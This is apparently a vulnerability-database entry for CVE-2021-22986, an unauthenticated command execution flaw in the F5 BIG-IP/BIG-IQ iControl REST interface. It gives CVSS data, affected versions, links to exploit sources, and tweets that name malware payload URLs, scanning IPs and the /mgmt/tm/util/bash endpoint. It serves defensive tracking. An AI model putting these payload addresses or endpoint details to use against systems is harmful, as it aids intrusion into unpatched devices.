Description
On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2, the iControl REST interface has an unauthenticated remote command execution vulnerability. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated.
Affected Software
Related
{"id": "CVE-2021-22986", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-22986", "description": "On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2, the iControl REST interface has an unauthenticated remote command execution vulnerability. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated.", "published": "2021-03-31T15:15:00", "modified": "2022-07-12T17:42:00", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-22986", "reporter": "f5sirt@f5.com", "references": ["https://support.f5.com/csp/article/K03009991", "http://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html", "http://packetstormsecurity.com/files/162066/F5-BIG-IP-16.0.x-Remote-Code-Execution.html"], "cvelist": ["CVE-2021-22986"], "immutableFields": [], "lastseen": "2022-07-13T15:59:24", "viewCount": 634, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:930A50FF-16A2-4EA8-91C8-71360A643E5E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0198"]}, {"type": "cisa", "idList": ["CISA:A55091A825D08BAA55750010D4193771"]}, {"type": "exploitdb", "idList": ["EDB-ID:49738"]}, {"type": "f5", "idList": ["F5:K56142644", "F5:K74151369"]}, {"type": "githubexploit", "idList": ["08530E98-10F4-5651-8118-F76E99D5856F", "48FD5EC4-10B3-5CB3-96C6-4D70E2A52EEF", "4E7397B3-57E1-5961-BE00-E340DD46B130", "67F9A7F6-596E-5695-BCBF-B11FE476AD9E", "91A5A7DD-3544-5856-890C-F8D738DAC6F4", "9E6B39D2-4F46-5C9D-81B9-32A2C96CBAD8", "B96958C0-96FF-52FF-A4B1-CE6F774F0C6F", "BF090D08-5787-5245-85E4-88DA87E8EC1D", "F6F649DA-905A-5158-B6BD-5A1F1F740C68"]}, {"type": "hivepro", "idList": ["HIVEPRO:1825C4046C6054693C41D7D5DFD7BA10", "HIVEPRO:B772F2F7B4C9AE8452D1197E2E240204"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:3D5A9B1B55D73BE6810D0DB036F8B83F"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT-LINUX-HTTP-F5_ICONTROL_REST_SSRF_RCE-"]}, {"type": "nessus", "idList": ["F5_BIGIP_SOL03009991.NASL", "F5_CVE-2021-22986.NBIN"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:162059", "PACKETSTORM:162066"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:5A5094DBFA525D07EBC3EBA036CDF81A", "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:72759E1136A76135F26DD97485912606", "RAPID7BLOG:764CA6BDCBE5F8F001B5E508AE0659CC"]}, {"type": "seebug", "idList": ["SSV:99156"]}, {"type": "thn", "idList": ["THN:4959B86491B72239BCAF1958D167D57D", "THN:D31DB501A57ADE0C1DBD12724D8CA44C"]}, {"type": "threatpost", "idList": ["THREATPOST:1D03F5885684829E899CEE4F63F5AC27", "THREATPOST:BC4ECD6616ADCCFFD5717D0A9A0D065B"]}, {"type": "zdt", "idList": ["1337DAY-ID-36066", "1337DAY-ID-36067"]}]}, "exploitation": {"wildExploitedSources": [{"type": "attackerkb", "idList": ["AKB:930A50FF-16A2-4EA8-91C8-71360A643E5E"]}], "wildExploited": true}, "score": {"value": 5.5, "vector": "NONE"}, "twitter": {"counter": 17, "tweets": [{"link": "https://twitter.com/Stootz1/status/1389507606537031686", "text": "/NCCGroupInfosec Blog discussing our observed in the wild exploitation attempts and detection logic for the F5 BIG-IP/BIG-IQ iControl REST API vulnerabilities CVE-2021-22986.6 https://t.co/0QqlbfGqHR?amp=1"}, {"link": "https://twitter.com/bad_packets/status/1389741948303409153", "text": "Active DDoS malware payload detected:\nhttp://91.148.141.35/katanaslice/94VG.x86\n(https://t.co/wXywbK9a0q?amp=1)\n\nHosting provider: DA International Group Ltd. (AS203380) \n\nTarget: F5 iControl REST remote command execution CVE-2021-22986 (https://t.co/BGTgYCx2wB?amp=1)\n/hashtag/threatintel?src=hashtag_click"}, {"link": "https://twitter.com/bad_packets/status/1399777233045102595", "text": "Mass scanning activity detected from 199.203.101.28 () targeting F5 iControl REST endpoints vulnerable to unauthenticated remote command execution (CVE-2021-22986).\n\nVendor advisory: https://t.co/MsZmXEtcTn?amp=1\n/hashtag/threatintel?src=hashtag_click"}, {"link": "https://twitter.com/securebyte/status/1409662918036058117", "text": "FortiGuardLabs Informe de se\u00f1ales de amenazas: observado en la explotaci\u00f3n salvaje de la vulnerabilidad de ejecuci\u00f3n de comandos remotos F5 BIG-IP (CVE-2021-22986) https://t.co/4CMy7Li4Mb?amp=1\nVisitanos en pagina web: https://t.co/yKvJEpJbj6?amp=1 Partner Oficial Fortinet Venezuela"}, {"link": "https://twitter.com/VulmonFeeds/status/1410159631775801344", "text": "CVE-2021-22986\n\nF5 BIG-IP, BIG-IQ Centralized Management unauthenticated RCE. The...\n\nhttps://t.co/9O6OLeeORG?amp=1\n\nVulnerability Alert Subscriptions: https://t.co/hrQhy5uz4x?amp=1"}, {"link": "https://twitter.com/bad_packets/status/1421697500335919104", "text": "Mass scanning activity detected from the following hosts targeting F5 iControl REST endpoints vulnerable to unauthenticated remote command execution (CVE-2021-22986).\n\n107.191.63.34 ()\n85.106.105.52 ()\n\nVendor advisory: https://t.co/MsZmXEtcTn?amp=1 /hashtag/threatintel?src=hashtag_click"}, {"link": "https://twitter.com/Securityblog/status/1422832659068301313", "text": "f5 big ip rce | CVE-2021-22986 poc https://t.co/TL2Kwtzgqe?amp=1 via /YouTube"}, {"link": "https://twitter.com/bad_packets/status/1424081490518810625", "text": "Exploit attempt source IP:\n176.31.159.27 ()\n\nVulnerabilities targeted:\nF5 iControl REST RCE (CVE-2021-22986)\nF5 BIG-IP Configuration Utility RCE (CVE-2020-5902)\n\nPayload:\nhttp://176.31.159.27/manager.sh (https://t.co/xAgHN4O3tc?amp=1)"}, {"link": "https://twitter.com/gothburz/status/1523752678131929090", "text": "So the endpoint is the same \u201c/mgmt/tm/util/bash\u201d? Just some different headers and values\u2026 CVE-2021-22986 & CVE-2022-1388 /hashtag/f5?src=hashtag_click /hashtag/rce?src=hashtag_click /hashtag/exploit?src=hashtag_click", "author": "gothburz", "author_photo": "https://pbs.twimg.com/profile_images/1405632627420377094/ap_hfxKT_400x400.jpg"}, {"link": "https://twitter.com/CswWorks/status/1579403878071926786", "text": "CVE-2021-22986 is critical vulnerability is an RCE, PE, and WebApp vulnerability with three known exploits. /hashtag/Lockbit?src=hashtag_click uses this CVE to launch deadly attacks: https://t.co/uc6RRFqmzW\n/hashtag/CyberSecurity?src=hashtag_click /hashtag/CyberThreat?src=hashtag_click /hashtag/RansomwareAttack?src=hashtag_click /hashtag/Ransomware?src=hashtag_click /hashtag/Hacking?src=hashtag_click /hashtag/VulnerabilityManagement?src=hashtag_click", "author": "CswWorks", "author_photo": "https://pbs.twimg.com/profile_images/1326835192435142656/_u-jOeKV_400x400.jpg"}]}, "backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:930A50FF-16A2-4EA8-91C8-71360A643E5E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0198"]}, {"type": "cisa", "idList": ["CISA:A55091A825D08BAA55750010D4193771"]}, {"type": "exploitdb", "idList": ["EDB-ID:49738"]}, {"type": "f5", "idList": ["F5:K56142644", "F5:K74151369"]}, {"type": "githubexploit", "idList": ["08530E98-10F4-5651-8118-F76E99D5856F", "48FD5EC4-10B3-5CB3-96C6-4D70E2A52EEF", "4E7397B3-57E1-5961-BE00-E340DD46B130", "67F9A7F6-596E-5695-BCBF-B11FE476AD9E", "91A5A7DD-3544-5856-890C-F8D738DAC6F4", "9E6B39D2-4F46-5C9D-81B9-32A2C96CBAD8", "B96958C0-96FF-52FF-A4B1-CE6F774F0C6F", "BF090D08-5787-5245-85E4-88DA87E8EC1D", "C1E789A0-6183-52F1-A86B-62DC360B649D", "F6F649DA-905A-5158-B6BD-5A1F1F740C68"]}, {"type": "hivepro", "idList": ["HIVEPRO:1825C4046C6054693C41D7D5DFD7BA10"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:3D5A9B1B55D73BE6810D0DB036F8B83F"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/LINUX/HTTP/F5_ICONTROL_REST_SSRF_RCE/"]}, {"type": "nessus", "idList": ["F5_BIGIP_SOL03009991.NASL", "F5_CVE-2021-22986.NBIN"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:162059", "PACKETSTORM:162066"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:72759E1136A76135F26DD97485912606", "RAPID7BLOG:764CA6BDCBE5F8F001B5E508AE0659CC"]}, {"type": "seebug", "idList": ["SSV:99156"]}, {"type": "thn", "idList": ["THN:4959B86491B72239BCAF1958D167D57D", "THN:D31DB501A57ADE0C1DBD12724D8CA44C"]}, {"type": "threatpost", "idList": ["THREATPOST:1D03F5885684829E899CEE4F63F5AC27", "THREATPOST:BC4ECD6616ADCCFFD5717D0A9A0D065B"]}, {"type": "zdt", "idList": ["1337DAY-ID-36066", "1337DAY-ID-36067"]}]}, "affected_software": {"major_version": [{"name": "f5 big-ip access policy manager", "version": 16}, {"name": "f5 big-ip advanced firewall manager", "version": 16}, {"name": "f5 big-ip application acceleration manager", "version": 16}, {"name": "f5 big-ip analytics", "version": 16}, {"name": "f5 big-ip application security manager", "version": 16}, {"name": "f5 big-ip domain name system", "version": 16}, {"name": "f5 big-ip global traffic manager", "version": 16}, {"name": "f5 big-ip fraud protection service", "version": 16}, {"name": "f5 big-ip link controller", "version": 16}, {"name": "f5 big-ip access policy manager", "version": 13}, {"name": "f5 big-ip access policy manager", "version": 15}, {"name": "f5 big-ip advanced firewall manager", "version": 15}, {"name": "f5 big-ip advanced web application firewall", "version": 13}, {"name": "f5 big-ip advanced web application firewall", "version": 15}, {"name": "f5 big-ip advanced web application firewall", "version": 16}, {"name": "f5 big-ip analytics", "version": 13}, {"name": "f5 big-ip application acceleration manager", "version": 13}, {"name": "f5 big-ip application security manager", "version": 13}, {"name": "f5 big-ip ddos hybrid defender", "version": 13}, {"name": "f5 big-ip ddos hybrid defender", "version": 16}, {"name": "f5 big-ip domain name system", "version": 13}, {"name": "f5 big-ip global traffic manager", "version": 13}, {"name": "f5 big-ip link controller", "version": 13}, {"name": "f5 big-ip local traffic manager", "version": 13}, {"name": "f5 big-ip local traffic manager", "version": 16}, {"name": "f5 big-ip policy enforcement manager", "version": 13}, {"name": "f5 big-ip policy enforcement manager", "version": 16}, {"name": "f5 big-ip access policy manager", "version": 12}, {"name": "f5 big-ip access policy manager", "version": 14}, {"name": "f5 big-ip advanced firewall manager", "version": 12}, {"name": "f5 big-ip advanced firewall manager", "version": 13}, {"name": "f5 big-ip advanced firewall manager", "version": 14}, {"name": "f5 big-ip advanced web application firewall", "version": 12}, {"name": "f5 big-ip advanced web application firewall", "version": 14}, {"name": "f5 big-ip analytics", "version": 12}, {"name": "f5 big-ip analytics", "version": 14}, {"name": "f5 big-ip analytics", "version": 15}, {"name": "f5 big-ip application acceleration manager", "version": 12}, {"name": "f5 big-ip application acceleration manager", "version": 14}, {"name": "f5 big-ip application acceleration manager", "version": 15}, {"name": "f5 big-ip application security manager", "version": 12}, {"name": "f5 big-ip application security manager", "version": 14}, {"name": "f5 big-ip application security manager", "version": 15}, {"name": "f5 big-ip ddos hybrid defender", "version": 12}, {"name": "f5 big-ip ddos hybrid defender", "version": 14}, {"name": "f5 big-ip ddos hybrid defender", "version": 15}, {"name": "f5 big-ip domain name system", "version": 12}, {"name": "f5 big-ip domain name system", "version": 14}, {"name": "f5 big-ip domain name system", "version": 15}, {"name": "f5 big-ip fraud protection service", "version": 12}, {"name": "f5 big-ip fraud protection service", "version": 13}, {"name": "f5 big-ip fraud protection service", "version": 14}, {"name": "f5 big-ip fraud protection service", "version": 15}, {"name": "f5 big-ip global traffic manager", "version": 12}, {"name": "f5 big-ip global traffic manager", "version": 14}, {"name": "f5 big-ip global traffic manager", "version": 15}, {"name": "f5 big-ip link controller", "version": 12}, {"name": "f5 big-ip link controller", "version": 14}, {"name": "f5 big-ip link controller", "version": 15}, {"name": "f5 big-ip local traffic manager", "version": 12}, {"name": "f5 big-ip local traffic manager", "version": 14}, {"name": "f5 big-ip local traffic manager", "version": 15}, {"name": "f5 big-ip policy enforcement manager", "version": 15}, {"name": "f5 big-ip policy enforcement manager", "version": 12}, {"name": "f5 big-ip policy enforcement manager", "version": 14}, {"name": "f5 big-iq centralized management", "version": 6}, {"name": "f5 big-iq centralized management", "version": 7}, {"name": "f5 big-iq centralized management", "version": 7}, {"name": "f5 ssl orchestrator", "version": 12}, {"name": "f5 ssl orchestrator", "version": 13}, {"name": "f5 ssl orchestrator", "version": 14}, {"name": "f5 ssl orchestrator", "version": 15}, {"name": "f5 ssl orchestrator", "version": 16}]}, "vulnersScore": 5.5}, "_state": {"wildexploited": 0, "dependencies": 1659988328, "twitter": 1665397237, "score": 1659896800, "cisa_kev_wildexploited": 1660152412, "affected_software_major_version": 1671593568}, "_internal": {"score_hash": "016f499cfbc126ccd1154e87604573f2"}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": ["CWE-918"], "affectedSoftware": [{"cpeName": "f5:big-ip_access_policy_manager", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip access policy manager"}, {"cpeName": "f5:big-ip_advanced_firewall_manager", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip advanced firewall manager"}, {"cpeName": "f5:big-ip_application_acceleration_manager", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip application acceleration manager"}, {"cpeName": "f5:big-ip_analytics", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip analytics"}, {"cpeName": "f5:big-ip_application_security_manager", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip application security manager"}, {"cpeName": "f5:big-ip_domain_name_system", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip domain name system"}, {"cpeName": "f5:big-ip_global_traffic_manager", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip global traffic manager"}, {"cpeName": "f5:big-ip_fraud_protection_service", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip fraud protection service"}, {"cpeName": "f5:big-ip_link_controller", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip link controller"}, {"cpeName": "f5:big-ip_access_policy_manager", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip access policy manager"}, {"cpeName": "f5:big-ip_access_policy_manager", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip access policy manager"}, {"cpeName": "f5:big-ip_advanced_firewall_manager", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip advanced firewall manager"}, {"cpeName": "f5:big-ip_advanced_web_application_firewall", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip advanced web application firewall"}, {"cpeName": "f5:big-ip_advanced_web_application_firewall", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip advanced web application firewall"}, {"cpeName": "f5:big-ip_advanced_web_application_firewall", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip advanced web application firewall"}, {"cpeName": "f5:big-ip_analytics", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip analytics"}, {"cpeName": "f5:big-ip_application_acceleration_manager", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip application acceleration manager"}, {"cpeName": "f5:big-ip_application_security_manager", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip application security manager"}, {"cpeName": "f5:big-ip_ddos_hybrid_defender", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip ddos hybrid defender"}, {"cpeName": "f5:big-ip_ddos_hybrid_defender", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip ddos hybrid defender"}, {"cpeName": "f5:big-ip_domain_name_system", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip domain name system"}, {"cpeName": "f5:big-ip_global_traffic_manager", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip global traffic manager"}, {"cpeName": "f5:big-ip_link_controller", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip link controller"}, {"cpeName": "f5:big-ip_local_traffic_manager", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip local traffic manager"}, {"cpeName": "f5:big-ip_local_traffic_manager", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip local traffic manager"}, {"cpeName": "f5:big-ip_policy_enforcement_manager", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip policy enforcement manager"}, {"cpeName": "f5:big-ip_policy_enforcement_manager", "version": "16.0.1.1", "operator": "lt", "name": "f5 big-ip policy enforcement manager"}, {"cpeName": "f5:big-ip_access_policy_manager", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip access policy manager"}, {"cpeName": "f5:big-ip_access_policy_manager", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip access policy manager"}, {"cpeName": "f5:big-ip_advanced_firewall_manager", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip advanced firewall manager"}, {"cpeName": "f5:big-ip_advanced_firewall_manager", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip advanced firewall manager"}, {"cpeName": "f5:big-ip_advanced_firewall_manager", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip advanced firewall manager"}, {"cpeName": "f5:big-ip_advanced_web_application_firewall", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip advanced web application firewall"}, {"cpeName": "f5:big-ip_advanced_web_application_firewall", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip advanced web application firewall"}, {"cpeName": "f5:big-ip_analytics", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip analytics"}, {"cpeName": "f5:big-ip_analytics", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip analytics"}, {"cpeName": "f5:big-ip_analytics", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip analytics"}, {"cpeName": "f5:big-ip_application_acceleration_manager", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip application acceleration manager"}, {"cpeName": "f5:big-ip_application_acceleration_manager", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip application acceleration manager"}, {"cpeName": "f5:big-ip_application_acceleration_manager", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip application acceleration manager"}, {"cpeName": "f5:big-ip_application_security_manager", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip application security manager"}, {"cpeName": "f5:big-ip_application_security_manager", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip application security manager"}, {"cpeName": "f5:big-ip_application_security_manager", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip application security manager"}, {"cpeName": "f5:big-ip_ddos_hybrid_defender", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip ddos hybrid defender"}, {"cpeName": "f5:big-ip_ddos_hybrid_defender", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip ddos hybrid defender"}, {"cpeName": "f5:big-ip_ddos_hybrid_defender", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip ddos hybrid defender"}, {"cpeName": "f5:big-ip_domain_name_system", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip domain name system"}, {"cpeName": "f5:big-ip_domain_name_system", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip domain name system"}, {"cpeName": "f5:big-ip_domain_name_system", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip domain name system"}, {"cpeName": "f5:big-ip_fraud_protection_service", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip fraud protection service"}, {"cpeName": "f5:big-ip_fraud_protection_service", "version": "13.1.3.6", "operator": "lt", "name": "f5 big-ip fraud protection service"}, {"cpeName": "f5:big-ip_fraud_protection_service", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip fraud protection service"}, {"cpeName": "f5:big-ip_fraud_protection_service", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip fraud protection service"}, {"cpeName": "f5:big-ip_global_traffic_manager", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip global traffic manager"}, {"cpeName": "f5:big-ip_global_traffic_manager", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip global traffic manager"}, {"cpeName": "f5:big-ip_global_traffic_manager", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip global traffic manager"}, {"cpeName": "f5:big-ip_link_controller", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip link controller"}, {"cpeName": "f5:big-ip_link_controller", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip link controller"}, {"cpeName": "f5:big-ip_link_controller", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip link controller"}, {"cpeName": "f5:big-ip_local_traffic_manager", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip local traffic manager"}, {"cpeName": "f5:big-ip_local_traffic_manager", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip local traffic manager"}, {"cpeName": "f5:big-ip_local_traffic_manager", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip local traffic manager"}, {"cpeName": "f5:big-ip_policy_enforcement_manager", "version": "15.1.2.1", "operator": "lt", "name": "f5 big-ip policy enforcement manager"}, {"cpeName": "f5:big-ip_policy_enforcement_manager", "version": "12.1.5.3", "operator": "lt", "name": "f5 big-ip policy enforcement manager"}, {"cpeName": "f5:big-ip_policy_enforcement_manager", "version": "14.1.4", "operator": "lt", "name": "f5 big-ip policy enforcement manager"}, {"cpeName": "f5:big-iq_centralized_management", "version": "6.1.0", "operator": "lt", "name": "f5 big-iq centralized management"}, {"cpeName": "f5:big-iq_centralized_management", "version": "7.0.0.2", "operator": "lt", "name": "f5 big-iq centralized management"}, {"cpeName": "f5:big-iq_centralized_management", "version": "7.1.0.3", "operator": "lt", "name": "f5 big-iq centralized management"}, {"cpeName": "f5:ssl_orchestrator", "version": "12.1.5.3", "operator": "lt", "name": "f5 ssl orchestrator"}, {"cpeName": "f5:ssl_orchestrator", "version": "13.1.3.6", "operator": "lt", "name": "f5 ssl orchestrator"}, {"cpeName": "f5:ssl_orchestrator", "version": "14.1.4", "operator": "lt", "name": "f5 ssl orchestrator"}, {"cpeName": "f5:ssl_orchestrator", "version": "15.1.2.1", "operator": "lt", "name": "f5 ssl orchestrator"}, {"cpeName": "f5:ssl_orchestrator", "version": "16.0.1.1", "operator": "lt", "name": "f5 ssl orchestrator"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_access_policy_manager:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_application_acceleration_manager:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_analytics:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_application_security_manager:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_domain_name_system:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_global_traffic_manager:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_fraud_protection_service:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_link_controller:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_access_policy_manager:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_access_policy_manager:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:15.1.2.1:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.2.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_analytics:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_application_acceleration_manager:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_application_security_manager:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_ddos_hybrid_defender:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_ddos_hybrid_defender:16.0.1.1:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.1.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_domain_name_system:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_global_traffic_manager:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": "cpe:2.3:a:f5:big-ip_link_controller:13.1.3.6:*:*:*:*:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "13.1.3.6", "cpe_name": 